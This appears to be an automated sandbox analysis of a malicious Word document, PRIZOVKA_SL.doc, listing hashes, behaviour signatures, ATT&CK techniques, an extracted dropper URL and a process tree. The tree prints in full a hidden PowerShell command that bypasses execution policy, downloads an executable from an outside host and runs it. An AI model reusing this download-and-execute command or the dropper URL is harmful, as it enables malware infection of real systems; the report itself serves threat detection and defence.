ad55de0ba082e1d0ba31f608e222d5dc9bae470bbc427b21801a37aab7309aa9

General

Target
PRIZOVKA_SL.doc
Size 54KB
Sample200713-7dgh6tzeln
SHA256 ad55de0ba082e1d0ba31f608e222d5dc9bae470bbc427b21801a37aab7309aa9
MD5 a333fc51570e37262cb4d03305bfb591
SHA1 f6e9b39410615ebc9f633f2aa803c48118a02e0b
SHA512 26124376a5fb52b6bb63c3947a3635f4e19b479ff987f215d6e87d062706f06715ec076c9fe411c6ec0ff24b7835bd1b4eb60f2f8b1616f0a1228ff65518effb
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://fgs.elpadrino.xyz:2095/lado/4.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2092	2536	cmd.exe	65

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2592	powershell.exe
2592	powershell.exe
2592	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2536	WINWORD.EXE
2536	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 2092	2536	WINWORD.EXE	69
PID 2536 wrote to memory of 2092	2536	WINWORD.EXE	69
PID 2092 wrote to memory of 2592	2092	cmd.exe	71
PID 2092 wrote to memory of 2592	2092	cmd.exe	71

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	2592	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PRIZOVKA_SL.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:2536
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://fgs.elpadrino.xyz:2095/lado/4.exe',$env:Temp+'\dksll.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\dksll.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://fgs.elpadrino.xyz:2095/lado/4.exe',$env:Temp+'\dksll.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\dksll.exe')
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    - Blacklisted process makes network request
    PID:2592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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